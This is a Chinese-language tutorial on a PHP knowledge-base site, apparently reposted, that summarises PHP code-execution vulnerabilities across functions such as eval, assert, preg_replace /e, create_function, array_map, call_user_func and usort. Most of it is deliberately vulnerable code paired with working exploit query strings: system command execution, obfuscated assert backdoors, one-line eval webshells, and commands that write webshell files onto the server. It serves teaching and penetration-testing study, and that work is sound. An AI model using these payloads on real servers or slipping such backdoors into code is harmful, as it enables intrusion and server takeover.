IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP代码执行漏洞总结大全 -> 正文阅读

[PHP知识库]PHP代码执行漏洞总结大全

一、 漏洞产生的原因

PHP脚本语言简洁,方便,但也与此同时伴随着一些问题,例如速度慢,无法解除系统底层等等。在web程序中,有时候程序员为了代码的灵活性与简洁性,会适当调用代码执行的函数执行。但由于没有充分考虑到用户是否会使用与控制,最终导致web应用存在代码执行漏洞。

二、 漏洞产生的常见函数

2.1 eval()

eval(phpcode)

eval() —— 把字符串按照 PHP 代码来计算。

(1) 直接利用漏洞源码:

<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>

漏洞利用:?data=phpinfo()

(2)闭合绕过

- 例子1:

<?php
$data = $_GET['data'];
eval("\$ret = \"$data\";");
echo $ret;
?>

漏洞利用:

  1. ?data=";phpinfo();")//
  2. ?data=${phpinfo()}(php版本5.5及以上)
  3. ?data=");@eval($_POST[x]);//

- 例子2:

<?php
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
?>

漏洞利用:

  1. ?data=’);phpinfo();//
  2. ?data=’);$cmd=shell_exec(‘systeminfo’);echo “<pre>{$cmd}</pre>”;//
    在这里插入图片描述

- 例子3:

<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
?>

漏洞利用:

  1. ?data=");phpinfo();//
  2. ?data=${phpinfo()}(php版本5.5及以上)
  3. ?data=${@eval($_POST[x])}

2.2 assert()

assert — 检查一个断言是否为 false
ps: assert($a)只能单行执行

- 例子1:

<?php
$aaa = "abbbsbbsbbebbrbbt"; 
$ccc = str_replace('b','',$aaa); ///$ccc="assert"
$ccc($_POST[1]);

漏洞利用:

  1. POST方法 1=phpinfo();
  2. 菜刀连接

- 例子2:
利用assert写木马
服务器代码:

<?php assert($_REQUEST[8]); ?>

网页提交
在这里插入图片描述
执行完后,服务器生成2.php文件
执行完后,服务器生成2.php文件

2.3 preg_replace()+/e 模式

正则替换函数,配合/e可产生代码执行。
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。 (php7.0以后不再支持/e修饰)

- 例子1:

<?php
 $pattern = "/^\d{5,11}$/ie";
 $qq = '1231456';		
 $replace = "phpinfo();";				
 echo preg_replace($pattern,$replace,$qq);

正则表达式解析:匹配以数字开头的字符串,字符至少5个,最多11个。行尾一定是数字(\d 为数字类型,{5,11} 5-11个字符,$ 到行尾,后面不能再有字符)

- 例子2: (木马一句话)

<?php @preg_replace("/abc/e","$_REQUEST[x]","abcd"); ?>

漏洞利用:?x=phpinfo();

2.4 create_function() 匿名函数

create_function ( string $args , string $code )

create_function() —— 定义一个没有名字的函数,直接用变量调用。

- 例子1:

<?php $a = create_function('$id',$_REQUEST[x]); ?>

等同于

<?php 
a = function Anonymous($id) 
{
	$_REQUEST[x];
}
?>

漏洞利用: 由于参数$a在被需要调用时才有用,因为在函数里,所以不执行。故闭合绕过函数,

  1. ?x=}phpinfo();// 单行注释
  2. ?x=}phpinfo();/* 多行注释

- 例子2:

由于参数$a在被需要调用时才有用,因此我们虚构一个调用函数

<?php 
$a = create_function('$id',$_REQUEST[x]);
echo $a('afssda');
 ?>

漏洞利用:?x=phpinfo();

2.5 array_map() 回调函数

array_map ( callable $callback , array $array1 [, array $… ] )

array_map() —— 回调函数,可以使用别的函数。

$o = array_map(函数,传参);

(1)函数使用示范

<?php 
function cube($n)
{
	return ($n*$n*$n);
}
$a = [1,2,3,4,5];
$b = array_map(cube,$a);传入参数
var_dump($b);
?>

在这里插入图片描述

(2)漏洞测试

<?php 
$a = [1,2,3,4,5];
$b = array_map(phpinfo(),$a);
var_dump($b);
?>

(3)漏洞复现

- 例子1:

<?php $o = array_map(assert,$_REQUEST); ?>//因为会自动遍历,因此不需要写调用参数x也行。

漏洞利用:?x=phpinfo();
在这里插入图片描述
- 例子2:(进阶骚操作)

<?php $o = array_map($_REQUEST[1],array($_REQUEST[2])); ?>

漏洞利用:?1=assert&2=phpinfo();

(4)回调函数一句话木马总结

array_map('assert',array($_POST[x]));
array_map(\$_REQUEST[1],array(\$_REQUEST[2]));

(5)补充

  1. 回调函数中,eval无法被调用。由于eval是执行语句,比较特殊,不被认为是函数,属于特殊写法。
  2. PHP中还有很多回调函数。如call_user_func()等等。

2.6 call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )

call_user_func —— 第一个参数作为回调函数调用, 其余参数是回调函数的参数

<?php call_user_func($_GET['a1'],$_GET['a2']); ?>

漏洞利用:

  1. ?a1=system&a2=whoami //命令执行
  2. ?a1=assert&a2=phpinfo() //代码执行

补充call_user_func函数使用示例:

<?php
function welcome($name)
{
    echo "hello $name <br>";
}
call_user_func('welcome', "tom");
call_user_func('welcome', "jack");
//输出 hello tom  hello jack 
?>

2.7 call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr )

call_user_func_array() —— 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

<?php call_user_func_array($_GET['a1'],$_GET['a2']); ?>

漏洞利用:

  1. ?a1=system&a2[]=whoami
  2. ?a1=assert&a2[]=phpinfo()

2.8 array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

array_filter() —— 把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。

提示: Window中的^等同于linux的”

<?php array_filter(array($_REQUEST[1]),$_REQUEST[2]); ?>

漏洞利用:

  1. ?1=whoami&2=system
  2. ?1=^dir ..^&2=system
  3. ?1=^dir^&2=system
  4. ?1=^systeminfo^&2=system

通过上述方法,可以测试出存在代码执行漏洞。因此,注入木马

?1=^echo “<?php @eval($_POST[x]); ?>” > 3.php^&2=system

在这里插入图片描述

2.9 usort()

usort ( array &$array , callable $value_compare_func )

usort() —— 调用用户自定义的比较函数对数组进行排序。

<?php 
//PHP5.2以上,PHP5.6及版本以下
//usort($_REQUEST,$_REQUEST[x]); //?1=1&2=phpinfo()&x=assert
//usort($_REQUEST,"assert");//?1=1&2=phpinfo()
//usort($_REQUEST,"system");//?1=1&2=whoami
//usort($_REQUEST,"sys"."tem");//?1=1&2=dir
usort($_REQUEST,"ass"."ert");//?1=1&2=$_POST[x] 我实测版本是PHP5.6
//PHP5.6及版本以上
//usort(...$_GET);//据说?1[]=test&1[]=phpinfo();&2=assert
//但是实现不了
?>

在这里插入图片描述

2.10 array_walk()

array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

array_walk —— 使用用户自定义函数对数组中的每个元素做回调处理

<?php array_walk($_GET['a'],$_GET['b']); ?>

漏洞利用:

  1. ?a[]=phpinfo()&b=assert
  2. ?a[]=whoami&b=system

2.11 ob_start()

ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

ob_start —— 打开输出控制缓冲

<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>

漏洞利用:?a=whoami

2.12 动态函数

<?php $_GET[1]($_GET[2]);?>

漏洞利用:

  1. ?1=eval&2=$_POST[x]
  2. ?1=assert&2=$_POST[x]
  3. ?1=system&2=whoami
  4. ?1=system&2=^echo “<?php @eval($_POST[x]); ?>” > 1.php^

本文用途只做学术交流,攥写不易,如果有用,老铁们点个赞。

参考:
【1】https://blog.csdn.net/qq_38348692/article/details/100848903
【2】https://pplsec.github.io/2019/01/17/PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-13 11:16:40  更:2021-10-13 11:16:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:26:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计